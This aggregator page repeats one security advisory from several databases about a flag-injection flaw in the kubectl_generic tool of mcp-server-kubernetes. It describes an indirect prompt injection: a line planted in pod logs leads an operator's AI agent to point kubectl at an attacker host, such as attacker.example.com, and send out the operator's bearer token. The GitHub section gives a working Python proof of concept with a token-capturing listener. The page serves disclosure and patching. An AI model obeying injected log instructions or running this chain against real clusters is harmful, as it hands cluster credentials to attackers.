mcp-server-kubernetes: kubectl-generic flag injection enables Kubernetes bearer token exfiltration

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mcp-server-kubernetes is a Model Context Protocol server for Kubernetes cluster management. Prior to version 3.7.0, the kubectl_generic tool in mcp-server-kubernetes passes user-supplied flags directly to kubectl without any allowlist, enabling a privilege escalation attack within Kubernetes environments. An attacker who already has limited cluster or codebase access, for example, a developer with pod-deployment permissions but not cluster-admin credentials, can plant a single structured JSON line in an application's log output. When an operator with a privileged kubeconfig uses the MCP server to read those logs and their AI agent follows the injected instruction, kubectl_generic is called with --server=https://attacker.example.com and --insecure-skip-tls-verify=true. kubectl sends all API requests, including the Authorization: Bearer <token> header from the operator's kubeconfig to the attacker's endpoint. The captured token can then be replayed directly against the real Kubernetes API server, granting the attacker the full RBAC permissions of the operator's service account. This issue has been patched in version 3.7.0.

Source published

11 Jun 2026 18:35:50 UTC

Source modified

11 Jun 2026 19:35:27 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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CVSS 3.1 · 6.1 CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N

mcp-server-kubernetes is a Model Context Protocol server for Kubernetes cluster management. Prior to version 3.7.0, the kubectl_generic tool in mcp-server-kubernetes passes user-supplied flags directly to kubectl without any allowlist, enabling a privilege escalation attack within Kubernetes environments. An attacker who already has limited cluster or codebase access, for example, a developer with pod-deployment permissions but not cluster-admin credentials, can plant a single structured JSON line in an application's log output. When an operator with a privileged kubeconfig uses the MCP server to read those logs and their AI agent follows the injected instruction, kubectl_generic is called with --server=https://attacker.example.com and --insecure-skip-tls-verify=true. kubectl sends all API requests, including the Authorization: Bearer <token> header from the operator's kubeconfig to the attacker's endpoint. The captured token can then be replayed directly against the real Kubernetes API server, granting the attacker the full RBAC permissions of the operator's service account. This issue has been patched in version 3.7.0.

Source published

Jun 11, 2026, 6:35:50 PM (timezone not stated)

Source modified

Jun 11, 2026, 7:35:27 PM (timezone not stated)

Observed here

7 Nov 2026 10:40:19 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 6.1 CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N

mcp-server-kubernetes is a Model Context Protocol server for Kubernetes cluster management. Prior to version 3.7.0, the kubectl_generic tool in mcp-server-kubernetes passes user-supplied flags directly to kubectl without any allowlist, enabling a privilege escalation attack within Kubernetes environments. An attacker who already has limited cluster or codebase access, for example, a developer with pod-deployment permissions but not cluster-admin credentials, can plant a single structured JSON line in an application's log output. When an operator with a privileged kubeconfig uses the MCP server to read those logs and their AI agent follows the injected instruction, kubectl_generic is called with --server=https://attacker.example.com and --insecure-skip-tls-verify=true. kubectl sends all API requests, including the Authorization: Bearer <token> header from the operator's kubeconfig to the attacker's endpoint. The captured token can then be replayed directly against the real Kubernetes API server, granting the attacker the full RBAC permissions of the operator's service account. This issue has been patched in version 3.7.0.

Source published

11 Jun 2026 19:16:46 UTC

Source modified

26 Oct 2026 11:10:00 UTC

Observed here

27 Oct 2026 13:11:40 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 6.1 CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N

### Summary The `kubectl_generic` tool in `mcp-server-kubernetes` passes user-supplied flags directly to kubectl without any allowlist, enabling a **privilege escalation attack** within Kubernetes environments. An attacker who already has limited cluster or codebase access, for example, a developer with pod-deployment permissions but not cluster-admin credentials, can plant a single structured JSON line in an application's log output. When an operator with a privileged kubeconfig uses the MCP server to read those logs and their AI agent follows the injected instruction, `kubectl_generic` is called with `--server=https://attacker.example.com` and `--insecure-skip-tls-verify=true`. kubectl sends all API requests, including the `Authorization: Bearer <token>` header from the operator's kubeconfig to the attacker's endpoint. The captured token can then be replayed directly against the real Kubernetes API server, granting the attacker the full RBAC permissions of the operator's service account. The token exfiltration mechanism was confirmed end-to-end with no cluster required. The full attack chain including indirect prompt injection via real pod logs was additionally confirmed using a live kind cluster and Claude Haiku (Anthropic API) as the agent. ### Details ### Vulnerable code `src/tools/kubectl-generic.ts`, lines 103–118: ```typescript if (input.flags) { for (const [key, value] of Object.entries(input.flags)) { if (value === true) { cmdArgs.push(`--${key}`); } else if (value !== false && value !== null && value !== undefined) { cmdArgs.push(`--${key}=${value}`); // ← no allowlist; any kubectl flag accepted } } } if (input.args && input.args.length > 0) { cmdArgs.push(...input.args); // ← also unconstrained } ``` Both the `flags` object and the `args` array are passed verbatim to `execFileSync("kubectl", cmdArgs)`. ### Why two flags are needed kubectl deliberately suppresses `Authorization: Bearer` headers over plain HTTP connections (a safety feature against cleartext leakage). The attack therefore requires two flags together: | Flag | Purpose | |------|---------| | `--server=https://attacker.com` | Redirects kubectl API calls to attacker's endpoint | | `--insecure-skip-tls-verify=true` | Allows attacker's self-signed cert; triggers credential sending | Both are standard kubectl debugging flags used when connecting to clusters with self-signed certificates, making the injection payload look plausible. ### PoC ### Step 1 - Static verification ```bash # Confirm the flag loop has no allowlist: grep -A 8 "for.*Object.entries.*flags" src/tools/kubectl-generic.ts ``` Expected output shows `cmdArgs.push(--${key}=${value})` with no allowlist check. ### Step 2 - kubectl behaviour test (confirms HTTPS required) ```bash # Start a minimal HTTPS listener with a self-signed cert: openssl req -x509 -newkey rsa:2048 -nodes -keyout /tmp/k.pem -out /tmp/c.pem \ -subj "/CN=test" -days 1 2>/dev/null python3 - <<'EOF' import ssl, threading, json from http.server import BaseHTTPRequestHandler, HTTPServer class H(BaseHTTPRequestHandler): def log_message(self, *a): pass def do_GET(self): print(f"Authorization: {self.headers.get('authorization','<none>')}") self.send_response(401); self.end_headers() srv = HTTPServer(("127.0.0.1", 19001), H) ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) ctx.load_cert_chain("/tmp/c.pem", "/tmp/k.pem") srv.socket = ctx.wrap_socket(srv.socket, server_side=True) t = __import__("threading").Thread(target=srv.serve_forever, daemon=True); t.start() import subprocess, time; time.sleep(0.3) subprocess.run([ "kubectl", "get", "pods", "--server=https://127.0.0.1:19001", "--token=MY-TEST-TOKEN-DOES-THIS-ARRIVE", "--insecure-skip-tls-verify=true" ], capture_output=True) time.sleep(0.3) EOF ``` Expected output: ``` Authorization: Bearer MY-TEST-TOKEN-DOES-THIS-ARRIVE ``` This confirms: kubectl sends the bearer token to any HTTPS endpoint when both flags are present. ### Step 3 - Token exfiltration via MCP tool call **Prerequisites:** Node.js 18+, Python 3.10+, `openssl` in PATH. ```bash git clone https://github.com/Flux159/mcp-server-kubernetes cd mcp-server-kubernetes npm install && npm run build ``` Copy and run the following self-contained script from inside the repository: ```python #!/usr/bin/env python3 """ PoC: kubectl_generic flag injection → bearer token exfiltration. Run from inside the mcp-server-kubernetes repository after `npm run build`. """ import json, os, ssl, subprocess, sys, tempfile, threading, time from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer KNOWN_TOKEN = "EXFIL-CONFIRM-THIS-TOKEN-12345" ATTACKER_PORT = 19001 captured = [] # ── Attacker HTTPS server ─────────────────────────────────────────── class Attacker(BaseHTTPRequestHandler): def log_message(self, *_): pass def _handle(self): auth = self.headers.get("authorization", "") if auth: captured.append(auth); print(f" CAPTURED: {auth}", flush=True) body = b'{"code":401}'; self.send_response(401) self.send_header("Content-Length", str(len(body))); self.end_headers() self.wfile.write(body) def do_GET(self): self._handle() def do_POST(self): self._handle() tmpdir = tempfile.mkdtemp() cert, key = f"{tmpdir}/c.pem", f"{tmpdir}/k.pem" subprocess.run(["openssl","req","-x509","-newkey","rsa:2048","-nodes", "-keyout",key,"-out",cert,"-subj","/CN=attacker","-days","1"], capture_output=True, check=True) srv = ThreadingHTTPServer(("127.0.0.1", ATTACKER_PORT), Attacker) ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER); ctx.load_cert_chain(cert, key) srv.socket = ctx.wrap_socket(srv.socket, server_side=True) threading.Thread(target=srv.serve_forever, daemon=True).start() # ── Fake kubeconfig with known token ────────────────────────────── kubeconfig = f"""apiVersion: v1 kind: Config clusters: - cluster: server: https://fake-cluster.internal:6443 insecure-skip-tls-verify: true name: poc contexts: - context: cluster: poc user: poc-user name: poc current-context: poc users: - name: poc-user user: token: {KNOWN_TOKEN} """ # ── Start mcp-server-kubernetes ──────────────────────────────────── proc = subprocess.Popen( ["node", "dist/index.js"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, env={**os.environ, "KUBECONFIG_YAML": kubeconfig} ) time.sleep(2) if proc.poll() is not None: print("Server failed to start:", proc.stderr.read().decode()[:300]); sys.exit(1) def send(msg): proc.stdin.write((json.dumps(msg)+"\n").encode()); proc.stdin.flush() def recv(timeout=15): import time as _t; deadline = _t.time()+timeout while _t.time() < deadline: line = proc.stdout.readline() if line: try: return json.loads(line) except: pass time.sleep(0.05) # MCP handshake send({"jsonrpc":"2.0","id":1,"method":"initialize", "params":{"protocolVersion":"2024-11-05","capabilities":{}, "clientInfo":{"name":"poc","version":"0"}}}) recv() send({"jsonrpc":"2.0","method":"notifications/initialized","params":{}}) time.sleep(0.3) # ── THE ATTACK CALL ──────────────────────────────────────────────── print(f"\nCalling kubectl_generic with --server=https://127.0.0.1:{ATTACKER_PORT}") print("kubectl will send Authorization: Bearer to the attacker HTTPS server\n") send({"jsonrpc":"2.0","id":2,"method":"tools/call", "params":{"name":"kubectl_generic", "arguments":{"command":"get","resourceType":"pods", "flags":{"server":f"https://127.0.0.1:{ATTACKER_PORT}", "insecure-skip-tls-verify":"true"}}}}) recv(timeout=20) time.sleep(1) proc.terminate(); srv.shutdown() # ── Result ───────────────────────────────────────────────────────── print() if any(KNOWN_TOKEN in c for c in captured): print("PASSED: bearer token exfiltrated via kubectl_generic flag injection") print(f" Injected token: {KNOWN_TOKEN}") print(f" Captured: {captured[0]}") else: print("NOT CONFIRMED - see output above") sys.exit(1) ``` Expected output: ``` Calling kubectl_generic with --server=https://127.0.0.1:19001 kubectl will send Authorization: Bearer to the attacker HTTPS server CAPTURED: Bearer EXFIL-CONFIRM-THIS-TOKEN-12345 PASSED: bearer token exfiltrated via kubectl_generic flag injection Injected token: EXFIL-CONFIRM-THIS-TOKEN-12345 Captured: Bearer EXFIL-CONFIRM-THIS-TOKEN-12345 ``` ### Impact **What an attacker achieves:** Privilege escalation within an environment where the attacker already has limited cluster or codebase access. The Kubernetes bearer token from the operator's kubeconfig is delivered to the attacker's HTTPS server on the first kubectl API discovery request. The token grants whatever RBAC the service account holds, in a typical cluster management deployment, this is broadly scoped. The attacker replays the captured token directly against the real Kubernetes API, independent of the MCP server.

Source published

5 Jun 2026 15:40:00 UTC

Source modified

12 Jun 2026 19:30:08 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N

Publisher rating · MODERATE